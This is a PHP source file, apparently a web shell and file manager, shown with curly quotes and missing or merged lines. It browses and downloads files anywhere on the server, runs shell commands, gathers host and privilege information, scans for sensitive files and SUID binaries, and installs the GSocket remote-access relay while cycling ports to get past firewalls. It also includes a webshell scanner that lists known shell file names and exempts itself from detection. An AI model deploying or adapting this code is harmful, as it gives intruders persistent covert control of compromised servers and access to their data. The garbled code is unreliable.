ayunovanti

0 && $path[0] === ‘/’) {
$path = preg_replace(‘#/+#’, ‘/’, $path);
return $path;
}

// Original relative path logic
$path = str_replace(array(‘\\’, “\0″), array(‘/’, ”), $path);
$path = trim($path, ‘/’);
$parts = array_filter(explode(‘/’, $path), function($p) {
return $p !== ” && $p !== ‘.’;
});
$clean = array();
foreach ($parts as $part) {
if ($part === ‘..’) { array_pop($clean); continue; }
if (preg_match(‘/[\x00-\x1f]/’, $part)) continue;
$clean[] = $part;
}
return implode(‘/’, $clean);
}

function resolvePath($baseDir, $relPath, $mustExist = true)
{
$rel = sanitizeRelPath($relPath);

// Handle absolute Windows paths (C:/, D:/, etc)
if (preg_match(‘/^[A-Za-z]:\//’, $rel)) {
// Convert to system path
$full = str_replace(‘/’, DIRECTORY_SEPARATOR, $rel);

if ($mustExist) {
$real = realpath($full);
if ($real !== false) {
return $real;
}
return null;
} else {
// Check if parent exists
$parent = dirname($full);
if (is_dir($parent) || is_dir($full)) {
return $full;
}
return null;
}
}

// Handle absolute Linux paths
if (strlen($rel) > 0 && $rel[0] === ‘/’) {
if ($mustExist) {
$real = realpath($rel);
if ($real !== false) {
return $real;
}
return null;
} else {
$parent = dirname($rel);
if (is_dir($parent) || is_dir($rel)) {
return $rel;
}
return null;
}
}

// Handle relative paths
$full = $rel === ” ? $baseDir : $baseDir . DIRECTORY_SEPARATOR . str_replace(‘/’, DIRECTORY_SEPARATOR, $rel);
$real = $mustExist ? realpath($full) : (is_file($full) || is_dir($full) ? realpath($full) : null);

if ($real === false || $real === null) {
if (!$mustExist) {
$parent = dirname($full);
$parentReal = realpath($parent);
$baseDirNormalized = str_replace(‘\\’, ‘/’, $baseDir);
$parentRealNormalized = $parentReal ? str_replace(‘\\’, ‘/’, $parentReal) : ”;
if ($parentReal && strpos($parentRealNormalized, $baseDirNormalized) === 0) {
return $full;
}
}
return null;
}

$realNormalized = str_replace(‘\\’, ‘/’, $real);
$baseDirNormalized = str_replace(‘\\’, ‘/’, $baseDir);
$starts = strpos($realNormalized, $baseDirNormalized) === 0;
return $starts ? $real : null;
}

function formatBytes($bytes)
{
$bytes = (int)$bytes;
if ($bytes < 1024) return $bytes . ' B'; $units = array('KB', 'MB', 'GB', 'TB'); $v = $bytes / 1024; foreach ($units as $u) { if ($v < 1024) return number_format($v, $v >= 100 ? 0 : 1) . ‘ ‘ . $u;
$v /= 1024;
}
return number_format($v, 1) . ‘ PB’;
}

function fileIcon($name, $dir)
{
if ($dir) return ‘folder’;
$ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));

$iconMap = array(
‘php’ => ‘php’, ‘phtml’ => ‘php’,
‘js’ => ‘js’, ‘mjs’ => ‘js’, ‘ts’ => ‘js’, ‘tsx’ => ‘js’, ‘jsx’ => ‘js’,
‘css’ => ‘css’, ‘scss’ => ‘css’, ‘sass’ => ‘css’, ‘less’ => ‘css’,
‘html’ => ‘html’, ‘htm’ => ‘html’,
‘json’ => ‘config’, ‘yaml’ => ‘config’, ‘yml’ => ‘config’,
‘xml’ => ‘config’, ‘toml’ => ‘config’, ‘env’ => ‘config’, ‘ini’ => ‘config’,
‘md’ => ‘text’, ‘txt’ => ‘text’, ‘log’ => ‘text’,
‘png’ => ‘image’, ‘jpg’ => ‘image’, ‘jpeg’ => ‘image’,
‘gif’ => ‘image’, ‘webp’ => ‘image’, ‘svg’ => ‘image’, ‘ico’ => ‘image’,
‘zip’ => ‘archive’, ‘rar’ => ‘archive’, ‘7z’ => ‘archive’,
‘tar’ => ‘archive’, ‘gz’ => ‘archive’,
‘sql’ => ‘database’, ‘db’ => ‘database’,
);

return isset($iconMap[$ext]) ? $iconMap[$ext] : ‘file’;
}

function isTextFile($path)
{
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
$text = array(‘php’,’phtml’,’js’,’mjs’,’ts’,’tsx’,’jsx’,’css’,’scss’,’sass’,’less’,’html’,’htm’,
‘json’,’yaml’,’yml’,’xml’,’toml’,’env’,’ini’,’md’,’txt’,’log’,’sql’,’htaccess’,’gitignore’,’csv’);
if (in_array($ext, $text, true)) return true;
$size = filesize($path);
if ($size === false || $size > 512000) return false;
$fh = fopen($path, ‘rb’);
if (!$fh) return false;
$chunk = fread($fh, 8192); fclose($fh);
return $chunk !== false && !preg_match(‘/[\x00-\x08\x0e-\x1f]/’, $chunk);
}

function gsocketIsFirewalled($output)
{
$out = strtolower((string)$output);
return strpos($out, ‘cannot connect to gsrn’) !== false
|| (strpos($out, ‘firewalled’) !== false && strpos($out, ‘gsrn’) !== false);
}

function runGsocket($method)
{
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === ‘WIN’;
if ($isWin) {
return array(‘ok’ => false, ‘error’ => ‘GSocket installer requires bash (Linux/Unix).’);
}
if (!function_exists(‘proc_open’)) {
return array(‘ok’ => false, ‘error’ => ‘proc_open() is disabled on this server.’);
}
@set_time_limit(1800);
@ini_set(‘max_execution_time’, ‘1800’);

$portsToTry = array(null);
for ($p = 22; $p <= 67; $p++) { $portsToTry[] = $p; } $allOutput = ''; $attempts = 0; $successPort = null; $lastCommand = ''; $lastMethod = strtolower(trim((string)$method)); if ($lastMethod !== 'wget') { $lastMethod = 'curl'; } $lastExit = 1; $stoppedOnFirewalled = false; foreach ($portsToTry as $port) { $built = gsocketBuildCommand($method, $port); $command = $built['command']; $lastCommand = $command; $lastMethod = $built['method']; $label = ($port === null) ? 'default (no GS_PORT)' : ('GS_PORT=' . $port); $attempts++; $result = runTerminal($command, $GLOBALS['baseDir']); if ($result['output'] === 'Failed to execute.') { return array('ok' => false, ‘error’ => ‘Failed to execute GSocket installer.’, ‘command’ => $command);
}

$lastExit = (int)$result[‘exit_code’];
$firewalled = gsocketIsFirewalled($result[‘output’]);
$allOutput .= ‘=== Attempt ‘ . $attempts . ‘: ‘ . $label . ” ===\n”;
$allOutput .= ‘$ ‘ . $command . “\n\n”;
$allOutput .= $result[‘output’] . “\n”;
$allOutput .= ‘(exit ‘ . $lastExit . “)\n\n”;

if (!$firewalled) {
$successPort = $port;
$allOutput .= ‘=== SUCCESS: GSRN reachable with ‘ . $label . ” ===\n”;
break;
}

$stoppedOnFirewalled = true;
if ($port !== null && $port >= 67) {
$allOutput .= “=== FAILED: All ports tried (default + GS_PORT=22..67) — still firewalled ===\n”;
}
}

$portLabel = ($successPort === null) ? ‘default’ : (string)$successPort;

return array(
‘ok’ => true,
‘output’ => $allOutput,
‘exit_code’ => $lastExit,
‘command’ => $lastCommand,
‘method’ => $lastMethod,
‘gs_port’ => $successPort,
‘gs_port_label’ => $portLabel,
‘attempts’ => $attempts,
‘firewalled’ => ($successPort === null && $stoppedOnFirewalled),
‘success’ => ($successPort !== null || !$stoppedOnFirewalled),
);
}

function runSecTool($tool, $input, $baseDir)
{
$tool = strtolower(trim((string)$tool));
switch ($tool) {
case ‘recon’:
return secRecon($baseDir);
case ‘sensitive’:
return secSensitiveScan($baseDir, (string)_v($input, ‘path’, ”));
case ‘processes’:
return secProcesses($baseDir);
case ‘network’:
return secNetwork($baseDir);
case ‘http’:
return secHttpRequest(
(string)_v($input, ‘url’, ”),
(string)_v($input, ‘method’, ‘GET’),
(string)_v($input, ‘headers’, ”),
(string)_v($input, ‘body’, ”)
);
case ‘hash’:
return secHash((string)_v($input, ‘text’, ”), (string)_v($input, ‘algo’, ‘sha256’));
case ‘codec’:
return secCodec((string)_v($input, ‘mode’, ‘b64enc’), (string)_v($input, ‘text’, ”));
case ‘dns’:
return secDns((string)_v($input, ‘host’, ”), (string)_v($input, ‘type’, ‘ALL’));
case ‘suid’:
return secSuidFind($baseDir);
default:
return array(‘ok’ => false, ‘error’ => ‘Unknown security tool’);
}
}

function secRecon($baseDir)
{
$lines = array();
$lines[] = ‘=== SYSTEM RECON ===’;
$lines[] = ‘Timestamp : ‘ . date(‘Y-m-d H:i:s T’);
$lines[] = ‘PHP : ‘ . PHP_VERSION . ‘ (‘ . PHP_SAPI . ‘)’;
$lines[] = ‘OS : ‘ . PHP_OS;
$lines[] = ‘Server : ‘ . (isset($_SERVER[‘SERVER_SOFTWARE’]) ? $_SERVER[‘SERVER_SOFTWARE’] : ‘-‘);
$lines[] = ‘Hostname : ‘ . (function_exists(‘gethostname’) ? gethostname() : ‘-‘);
$lines[] = ‘Doc Root : ‘ . (isset($_SERVER[‘DOCUMENT_ROOT’]) ? $_SERVER[‘DOCUMENT_ROOT’] : ‘-‘);
$lines[] = ‘Script : ‘ . __FILE__;
$lines[] = ‘Base Dir : ‘ . $baseDir;
$lines[] = ‘Client IP : ‘ . (isset($_SERVER[‘REMOTE_ADDR’]) ? $_SERVER[‘REMOTE_ADDR’] : ‘-‘);
$lines[] = ”;

$lines[] = ‘=== USER / PRIVILEGE ===’;
$lines[] = ‘PHP user : ‘ . get_current_user();
if (function_exists(‘posix_geteuid’)) {
$lines[] = ‘UID/EUID : ‘ . posix_getuid() . ‘ / ‘ . posix_geteuid();
$pw = @posix_getpwuid(posix_geteuid());
if ($pw) $lines[] = ‘Account : ‘ . $pw[‘name’] . ‘ (home: ‘ . (isset($pw[‘dir’]) ? $pw[‘dir’] : ‘-‘) . ‘)’;
$groups = @posix_getgroups();
if ($groups) {
$gn = array();
foreach ($groups as $gid) {
$g = @posix_getgrgid($gid);
$gn[] = $g ? $g[‘name’] : $gid;
}
$lines[] = ‘Groups : ‘ . implode(‘, ‘, $gn);
}
}
$whoami = runTerminal(‘whoami 2>&1’, $baseDir);
$lines[] = ‘whoami : ‘ . trim($whoami[‘output’]);
$id = runTerminal(‘id 2>&1’, $baseDir);
$lines[] = ‘id : ‘ . trim($id[‘output’]);
$lines[] = ”;

$lines[] = ‘=== PHP SECURITY ===’;
$lines[] = ‘disable_functions : ‘ . (ini_get(‘disable_functions’) ? ini_get(‘disable_functions’) : ‘(none)’);
$lines[] = ‘open_basedir : ‘ . (ini_get(‘open_basedir’) ? ini_get(‘open_basedir’) : ‘(none)’);
$lines[] = ‘allow_url_fopen : ‘ . (ini_get(‘allow_url_fopen’) ? ‘On’ : ‘Off’);
$lines[] = ‘allow_url_include : ‘ . (ini_get(‘allow_url_include’) ? ‘On’ : ‘Off’);
$lines[] = ‘display_errors : ‘ . (ini_get(‘display_errors’) ? ‘On’ : ‘Off’);
$lines[] = ‘expose_php : ‘ . (ini_get(‘expose_php’) ? ‘On’ : ‘Off’);
$lines[] = ‘proc_open : ‘ . (function_exists(‘proc_open’) && !secFuncDisabled(‘proc_open’) ? ‘Available’ : ‘Disabled’);
$lines[] = ‘shell_exec : ‘ . (function_exists(‘shell_exec’) && !secFuncDisabled(‘shell_exec’) ? ‘Available’ : ‘Disabled’);
$lines[] = ‘curl : ‘ . (function_exists(‘curl_init’) ? ‘Available’ : ‘Missing’);
$lines[] = ‘PDO : ‘ . (class_exists(‘PDO’) ? ‘Available’ : ‘Missing’);
$lines[] = ”;

$isWin = strtoupper(substr(PHP_OS, 0, 3)) === ‘WIN’;
if (!$isWin) {
$lines[] = ‘=== KERNEL / SYSTEM ===’;
$uname = runTerminal(‘uname -a 2>&1’, $baseDir);
$lines[] = trim($uname[‘output’]);
$lines[] = ‘Uptime: ‘ . trim(runTerminal(‘uptime 2>&1’, $baseDir)[‘output’]);
$lines[] = ”;
}

$lines[] = ‘=== ENVIRONMENT (selected) ===’;
$envKeys = array(‘PATH’, ‘HOME’, ‘USER’, ‘LOGNAME’, ‘SHELL’, ‘PWD’, ‘TEMP’, ‘TMP’, ‘HTTP_HOST’, ‘SERVER_NAME’);
foreach ($envKeys as $k) {
$v = getenv($k);
if ($v !== false && $v !== ”) $lines[] = $k . ‘=’ . $v;
}

return array(‘ok’ => true, ‘output’ => implode(“\n”, $lines));
}

function secFuncDisabled($fn)
{
$disabled = ini_get(‘disable_functions’);
if (!$disabled) return false;
return in_array($fn, array_map(‘trim’, explode(‘,’, $disabled)), true);
}

$isWin = strtoupper(substr(PHP_OS, 0, 3)) === ‘WIN’;
$found = array();
if (!$isWin) {
$nameExpr = array();
foreach ($patterns as $p) {
$nameExpr[] = ‘-name ‘ . escapeshellarg($p);
}
$expr = ‘$ ‘ . implode(‘ -o ‘, $nameExpr) . ‘ $’;
foreach ($roots as $root) {
$cmd = ‘find ‘ . escapeshellarg($root) . ‘ -maxdepth 7 ‘ . $expr . ‘ -type f 2>/dev/null | head -60’;
$out = runTerminal($cmd, $baseDir);
foreach (explode(“\n”, $out[‘output’]) as $line) {
$line = trim($line);
if ($line !== ” && @is_file($line)) {
$found[$line] = array(
‘path’ => $line,
‘size’ => @filesize($line),
‘perm’ => substr(sprintf(‘%o’, @fileperms($line)), -4),
‘readable’ => @is_readable($line),
);
}
}
if (count($found) >= 80) break;
}
} else {
secWalkSensitive($roots[0], $patterns, $found, 0, 6);
}

$lines = array(‘=== SENSITIVE FILE SCAN ===’, ‘Roots: ‘ . implode(‘, ‘, $roots), ‘Found: ‘ . count($found), ”);
foreach ($found as $item) {
$flag = $item[‘readable’] ? ‘[R]’ : ‘[–]’;
$lines[] = $flag . ‘ ‘ . $item[‘perm’] . ‘ ‘ . secFormatBytes(isset($item[‘size’]) ? $item[‘size’] : 0) . ‘ ‘ . $item[‘path’];
}
if (empty($found)) $lines[] = ‘(no sensitive files found in scan scope)’;

return array(‘ok’ => true, ‘output’ => implode(“\n”, $lines), ‘count’ => count($found), ‘files’ => array_values($found));
}

function secFormatBytes($bytes)
{
$bytes = (int)$bytes;
if ($bytes < 1024) return $bytes . 'B'; if ($bytes < 1048576) return round($bytes / 1024, 1) . 'K'; return round($bytes / 1048576, 1) . 'M'; } function secProcesses($baseDir) { $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; $cmd = $isWin ? 'tasklist /V' : 'ps auxww 2>/dev/null || ps -ef 2>/dev/null’;
$result = runTerminal($cmd, $baseDir);
return array(‘ok’ => true, ‘output’ => $result[‘output’]);
}

function secHttpRequest($url, $method, $headersRaw, $body)
{
$url = trim($url);
if ($url === ” || !preg_match(‘#^https?://#i’, $url)) {
return array(‘ok’ => false, ‘error’ => ‘URL must start with http:// or https://’);
}
$method = strtoupper(trim($method));
if (!in_array($method, array(‘GET’, ‘POST’, ‘PUT’, ‘PATCH’, ‘DELETE’, ‘HEAD’, ‘OPTIONS’), true)) {
return array(‘ok’ => false, ‘error’ => ‘Invalid HTTP method’);
}

if (function_exists(‘curl_init’)) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
curl_setopt($ch, CURLOPT_TIMEOUT, 20);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
if ($body !== ” && in_array($method, array(‘POST’, ‘PUT’, ‘PATCH’), true)) {
curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
}
$hdrs = array();
foreach (preg_split(‘/\r?\n/’, $headersRaw) as $line) {
$line = trim($line);
if ($line !== ”) $hdrs[] = $line;
}
if (!empty($hdrs)) curl_setopt($ch, CURLOPT_HTTPHEADER, $hdrs);
$resp = curl_exec($ch);
$err = curl_error($ch);
$info = curl_getinfo($ch);
curl_close($ch);
if ($resp === false) return array(‘ok’ => false, ‘error’ => $err ? $err : ‘Request failed’);
$out = “=== HTTP RESPONSE ===\n”;
$out .= ‘URL : ‘ . $url . “\n”;
$out .= ‘Method : ‘ . $method . “\n”;
$out .= ‘Code : ‘ . (isset($info[‘http_code’]) ? $info[‘http_code’] : ‘?’) . “\n”;
$out .= ‘Time : ‘ . (isset($info[‘total_time’]) ? round($info[‘total_time’], 3) . ‘s’ : ‘?’) . “\n\n”;
$out .= $resp;
return array(‘ok’ => true, ‘output’ => $out);
}

$cmd = ‘curl -sS -k -i -X ‘ . escapeshellarg($method);
foreach (preg_split(‘/\r?\n/’, $headersRaw) as $line) {
$line = trim($line);
if ($line !== ”) $cmd .= ‘ -H ‘ . escapeshellarg($line);
}
if ($body !== ” && in_array($method, array(‘POST’, ‘PUT’, ‘PATCH’), true)) {
$cmd .= ‘ –data ‘ . escapeshellarg($body);
}
$cmd .= ‘ ‘ . escapeshellarg($url);
$result = runTerminal($cmd, $GLOBALS[‘baseDir’]);
return array(‘ok’ => true, ‘output’ => $result[‘output’]);
}

function secSuidFind($baseDir)
{
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === ‘WIN’;
if ($isWin) {
return array(‘ok’ => true, ‘output’ => “=== SUID/SGID SCAN ===\nLinux/Unix only.\n”);
}
$suid = runTerminal(‘find /usr /bin /sbin /home /opt /tmp /var -perm -4000 -type f 2>/dev/null | head -80’, $baseDir);
$sgid = runTerminal(‘find /usr /bin /sbin /home /opt /tmp /var -perm -2000 -type f 2>/dev/null | head -40’, $baseDir);
$cap = runTerminal(‘getcap -r /usr /bin /sbin 2>/dev/null | head -40’, $baseDir);
$out = “=== SUID BINARIES (setuid) ===\n” . trim($suid[‘output’]) . “\n\n”;
$out .= “=== SGID BINARIES (setgid) ===\n” . trim($sgid[‘output’]) . “\n\n”;
$out .= “=== CAPABILITIES ===\n” . trim($cap[‘output’]);
return array(‘ok’ => true, ‘output’ => $out);
}

function btFilenameIOCs($aggressive)
{
$iocs = array(
‘c99.php’ => 55, ‘r57.php’ => 55, ‘wso.php’ => 55, ‘wso2.php’ => 55, ‘wso1337.php’ => 55,
‘shell.php’ => 40, ‘cmd.php’ => 40, ‘backdoor.php’ => 55, ‘b374k.php’ => 55, ‘b374.php’ => 50,
‘alfa.php’ => 50, ‘alf.php’ => 45, ‘mini.php’ => 25, ‘uploader.php’ => 30, ‘upload.php’ => 20,
‘x.php’ => 25, ‘xx.php’ => 25, ‘0.php’ => 30, ‘1.php’ => 25, ‘2.php’ => 22,
‘indoxploit.php’ => 55, ‘fox.php’ => 40, ‘leaf.php’ => 35, ‘marijuana.php’ => 50,
‘adminer.php’ => 10, ‘.user.ini’ => 25, ‘php.ini’ => 15,
‘sym403.php’ => 45, ‘symlink.php’ => 40, ‘priv8.php’ => 45, ‘root.php’ => 35,
‘hack.php’ => 40, ‘haxor.php’ => 45, ‘1337.php’ => 40, ‘locus.php’ => 40,
‘c100.php’ => 45, ‘r00t.php’ => 40, ‘sh.php’ => 35, ‘bypass.php’ => 35,
‘up.php’ => 28, ‘upl.php’ => 28, ‘filemanager.php’ => 15, ‘fm.php’ => 30,
);
if ($aggressive) {
$iocs[‘test.php’] = 12;
$iocs[‘tmp.php’] = 18;
$iocs[‘cache.php’] = 15;
$iocs[‘log.php’] = 18;
$iocs[‘images.php’] = 22;
$iocs[‘class.php’] = 12;
$iocs[‘config.php.bak’] = 30;
$iocs[‘wp-config.php.bak’] = 35;
}
return $iocs;
}

function btSeverityLabel($score)
{
if ($score >= 50) return ‘CRITICAL’;
if ($score >= 30) return ‘HIGH’;
if ($score >= 15) return ‘MEDIUM’;
return ‘LOW’;
}

function btScanExtensions()
{
return array(‘php’, ‘phtml’, ‘php3’, ‘php4’, ‘php5’, ‘php7’, ‘php8’, ‘phar’, ‘inc’, ‘pht’, ‘phpt’,
‘asp’, ‘aspx’, ‘jsp’, ‘js’, ‘shtml’, ‘htaccess’, ‘cgi’, ‘pl’, ‘py’, ‘sh’, ‘rb’, ‘vb’, ‘vbs’);
}

function btAnalyzeFile($path, $signatures, $filenameIOCs, $selfPath, $aggressive)
{
$realSelf = realpath($selfPath);
$realPath = @realpath($path);
if ($realSelf && $realPath && $realSelf === $realPath) return null;

$score = 0;
$hits = array();
$basename = strtolower(basename($path));
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

$allowedExt = btScanExtensions();
if (!in_array($ext, $allowedExt, true) && $basename !== ‘.htaccess’ && $basename !== ‘.user.ini’) {
if (!$aggressive || !preg_match(‘/\.(jpg|jpeg|png|gif|bmp|ico|svg|webp|txt|log)$/i’, $basename)) {
return null;
}
}

foreach ($filenameIOCs as $ioc => $pts) {
if ($basename === strtolower($ioc) || ($aggressive && strpos($basename, strtolower(str_replace(‘.php’, ”, $ioc))) !== false && preg_match(‘/\.(php|phtml|php5|inc|bak)$/i’, $basename))) {
$score += (int)$pts;
$hits[] = ‘filename:’ . $ioc;
}
}
btFilenameHeuristics($basename, $score, $hits, $aggressive);

$size = @filesize($path);
$maxRead = $aggressive ? 524288 : 98304;
$maxSize = $aggressive ? 8388608 : 5242880;
if ($size === false || $size > $maxSize) {
$minScore = $aggressive ? 10 : 15;
return ($score >= $minScore) ? array(‘path’ => $path, ‘score’ => $score, ‘severity’ => btSeverityLabel($score), ‘hits’ => $hits, ‘size’ => $size, ‘modified’ => @filemtime($path), ‘note’ => ‘not content-scanned (large/unreadable)’) : null;
}

$content = @file_get_contents($path, false, null, 0, min((int)$size, $maxRead));
if ($content === false || $content === ”) {
$minScore = $aggressive ? 10 : 15;
return ($score >= $minScore) ? array(‘path’ => $path, ‘score’ => $score, ‘severity’ => btSeverityLabel($score), ‘hits’ => $hits, ‘size’ => $size, ‘modified’ => @filemtime($path)) : null;
}

foreach ($signatures as $sig) {
if (@preg_match($sig[‘pattern’], $content)) {
$score += (int)$sig[‘score’];
$hits[] = $sig[‘name’];
}
}

if ($size < 250 && preg_match('/eval|assert|base64_decode|shell_exec|system\s*\(|passthru\s*\(/is', $content)) { $score += 28; $hits[] = 'tiny file + dangerous func'; } if ($aggressive && preg_match('/<\?(php|=)/i', $content) && preg_match('/\.(jpg|jpeg|png|gif|bmp|ico|svg|webp|txt|css|js)$/i', $basename)) { $score += 35; $hits[] = 'php tag in non-php extension (polyglot)'; } if ($aggressive && preg_match_all('/[A-Za-z0-9+\/=]{200,}/', $content, $m) && count($m[0]) >= 2) {
$score += 12;
$hits[] = ‘multiple long encoded blobs’;
}

$minScore = $aggressive ? 6 : 12;
if ($score < $minScore) return null; return array( 'path' => $path,
‘score’ => $score,
‘severity’ => btSeverityLabel($score),
‘hits’ => array_values(array_unique($hits)),
‘size’ => (int)$size,
‘modified’ => @filemtime($path),
);
}

function btResolveThreatPath($baseDir, $path)
{
$path = trim((string)$path);
if ($path === ”) return null;
if (preg_match(‘/^[A-Za-z]:/’, $path) || (strlen($path) > 0 && $path[0] === ‘/’)) {
$real = @realpath($path);
return ($real && @is_file($real)) ? $real : null;
}
return resolvePath($baseDir, $path);
}

function btQuarantineDir($baseDir)
{
$tmp = sys_get_temp_dir();
if (!$tmp) $tmp = $baseDir;
$dir = rtrim($tmp, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . ‘gecko_quarantine_’ . substr(md5($baseDir), 0, 12);
if (!is_dir($dir)) {
@mkdir($dir, 0700, true);
}
return $dir;
}

function btManifestPath($baseDir)
{
return btQuarantineDir($baseDir) . DIRECTORY_SEPARATOR . ‘manifest.json’;
}

function btSaveManifest($baseDir, $entries)
{
$file = btManifestPath($baseDir);
@file_put_contents($file, json_encode(array_values($entries), JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT));
}

function btDeleteThreats($baseDir, $paths)
{
$realSelf = @realpath(__FILE__);
$quarantined = array();
$failed = array();
if (!is_array($paths)) {
if (is_string($paths) && $paths !== ”) $paths = array($paths);
else $paths = array();
}
if (count($paths) > 200) {
return array(‘ok’ => false, ‘error’ => ‘Max 200 files per batch’);
}
$qdir = btQuarantineDir($baseDir);
$manifest = btLoadManifest($baseDir);

foreach ($paths as $p) {
$p = trim((string)$p);
if ($p === ”) continue;
$resolved = btResolveThreatPath($baseDir, $p);
if (!$resolved) {
$failed[] = array(‘path’ => $p, ‘error’ => ‘Not found or not a file’);
continue;
}
if ($realSelf && $resolved === $realSelf) {
$failed[] = array(‘path’ => $p, ‘error’ => ‘Protected (scanner itself)’);
continue;
}
$id = substr(md5($resolved . microtime(true) . mt_rand()), 0, 16);
$safeName = preg_replace(‘/[^a-zA-Z0-9._-]/’, ‘_’, basename($resolved));
$qpath = $qdir . DIRECTORY_SEPARATOR . $id . ‘_’ . $safeName;
if (!@rename($resolved, $qpath)) {
if (!@copy($resolved, $qpath)) {
$failed[] = array(‘path’ => $p, ‘error’ => ‘Move to quarantine failed’);
continue;
}
@unlink($resolved);
}
$entry = array(
‘id’ => $id,
‘original’ => $resolved,
‘quarantine’ => $qpath,
‘basename’ => basename($resolved),
‘moved_at’ => time(),
);
$manifest[] = $entry;
$quarantined[] = $entry;
}
btSaveManifest($baseDir, $manifest);

$out = “=== QUARANTINE REPORT (moved to tmp) ===\n”;
$out .= ‘Location: ‘ . $qdir . “\n”;
$out .= ‘Quarantined: ‘ . count($quarantined) . ‘ · Failed: ‘ . count($failed) . “\n\n”;
foreach ($quarantined as $q) {
$out .= ‘[MOVED] ‘ . $q[‘original’] . “\n”;
$out .= ‘ → ‘ . $q[‘quarantine’] . ‘ (id:’ . $q[‘id’] . “)\n”;
}
foreach ($failed as $f) {
$out .= ‘[FAILED] ‘ . $f[‘path’] . ‘ — ‘ . $f[‘error’] . “\n”;
}
$out .= “\nFiles can be restored from Quarantine section below.”;
return array(
‘ok’ => true,
‘output’ => $out,
‘quarantined’ => $quarantined,
‘deleted’ => array_map(function ($e) { return $e[‘original’]; }, $quarantined),
‘failed’ => $failed,
‘count’ => count($quarantined),
‘dir’ => $qdir,
);
}

function btRestoreThreats($baseDir, $ids)
{
if (!is_array($ids)) {
if (is_string($ids) && $ids !== ”) $ids = array($ids);
else $ids = array();
}
if (empty($ids)) {
return array(‘ok’ => false, ‘error’ => ‘No items selected to restore’);
}
$manifest = btLoadManifest($baseDir);
$restored = array();
$failed = array();
$remaining = array();
$idSet = array_flip(array_map(‘strval’, $ids));

foreach ($manifest as $entry) {
$eid = (string)$entry[‘id’];
if (!isset($idSet[$eid])) {
$remaining[] = $entry;
continue;
}
$original = isset($entry[‘original’]) ? $entry[‘original’] : ”;
$qpath = isset($entry[‘quarantine’]) ? $entry[‘quarantine’] : ”;
if ($original === ” || !is_file($qpath)) {
$failed[] = array(‘id’ => $eid, ‘path’ => $original, ‘error’ => ‘Quarantine file missing’);
continue;
}
$dest = $original;
if (is_file($dest)) {
$dest = dirname($original) . DIRECTORY_SEPARATOR . pathinfo($original, PATHINFO_FILENAME) . ‘.restored.’ . time() . (pathinfo($original, PATHINFO_EXTENSION) ? ‘.’ . pathinfo($original, PATHINFO_EXTENSION) : ”);
}
$parent = dirname($dest);
if (!is_dir($parent)) {
@mkdir($parent, 0755, true);
}
if (!@rename($qpath, $dest)) {
if (!@copy($qpath, $dest)) {
$failed[] = array(‘id’ => $eid, ‘path’ => $original, ‘error’ => ‘Restore failed’);
$remaining[] = $entry;
continue;
}
@unlink($qpath);
}
$restored[] = array(‘id’ => $eid, ‘original’ => $original, ‘restored_to’ => $dest);
}
btSaveManifest($baseDir, $remaining);

$out = “=== RESTORE REPORT ===\n”;
$out .= ‘Restored: ‘ . count($restored) . ‘ · Failed: ‘ . count($failed) . “\n\n”;
foreach ($restored as $r) {
$out .= ‘[RESTORED] ‘ . $r[‘original’];
if ($r[‘restored_to’] !== $r[‘original’]) $out .= ‘ → ‘ . $r[‘restored_to’];
$out .= “\n”;
}
foreach ($failed as $f) {
$out .= ‘[FAILED] ‘ . (isset($f[‘path’]) ? $f[‘path’] : $f[‘id’]) . ‘ — ‘ . $f[‘error’] . “\n”;
}
return array(
‘ok’ => true,
‘output’ => $out,
‘restored’ => $restored,
‘failed’ => $failed,
‘count’ => count($restored),
);
}

function btFullAudit($baseDir, $scanPath)
{
@set_time_limit(600);
$parts = array();
$r1 = btWebshellScan($baseDir, $scanPath, true);
$parts[] = $r1[‘output’];
$parts[] = str_repeat(‘-‘, 60);
$parts[] = btRecentChanges($baseDir, $scanPath, 7)[‘output’];
$parts[] = str_repeat(‘-‘, 60);
$parts[] = btWritableScan($baseDir, $scanPath)[‘output’];
$parts[] = str_repeat(‘-‘, 60);
$parts[] = btHiddenScan($baseDir, $scanPath)[‘output’];
$parts[] = str_repeat(‘-‘, 60);
$parts[] = btCronAudit($baseDir)[‘output’];
$parts[] = str_repeat(‘-‘, 60);
$parts[] = btIocScan($baseDir, $scanPath)[‘output’];
$parts[] = str_repeat(‘-‘, 60);
$parts[] = btSuspiciousProcess($baseDir)[‘output’];
$parts[] = str_repeat(‘-‘, 60);
$parts[] = btLogAudit($baseDir)[‘output’];
return array(
‘ok’ => true,
‘output’ => implode(“\n\n”, $parts),
‘count’ => isset($r1[‘count’]) ? $r1[‘count’] : 0,
‘critical’ => isset($r1[‘critical’]) ? $r1[‘critical’] : 0,
);
}

// Helper untuk akses array yang aman (pengganti operator ??)
function _v($arr, $key, $default = ”) {
return (isset($arr[$key]) && $arr[$key] !== null) ? $arr[$key] : $default;
}

// Handle download requests
if (isset($_GET[‘download’])) {
$path = resolvePath($baseDir, (string)$_GET[‘download’]);
if (!$path || is_dir($path)) { http_response_code(404); exit(‘Not found’); }
header(‘Content-Type: application/octet-stream’);
header(‘Content-Disposition: attachment; filename=”‘ . basename($path) . ‘”‘);
header(‘Content-Length: ‘ . filesize($path));
readfile($path); exit;
}

// Handle inline view requests (image preview, raw text view)
if (isset($_GET[‘view’])) {
$path = resolvePath($baseDir, (string)$_GET[‘view’]);
if (!$path || is_dir($path)) { http_response_code(404); exit(‘Not found’); }

$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
$mimes = array(
‘png’ => ‘image/png’,
‘jpg’ => ‘image/jpeg’,
‘jpeg’ => ‘image/jpeg’,
‘gif’ => ‘image/gif’,
‘webp’ => ‘image/webp’,
‘svg’ => ‘image/svg+xml’,
‘ico’ => ‘image/x-icon’,
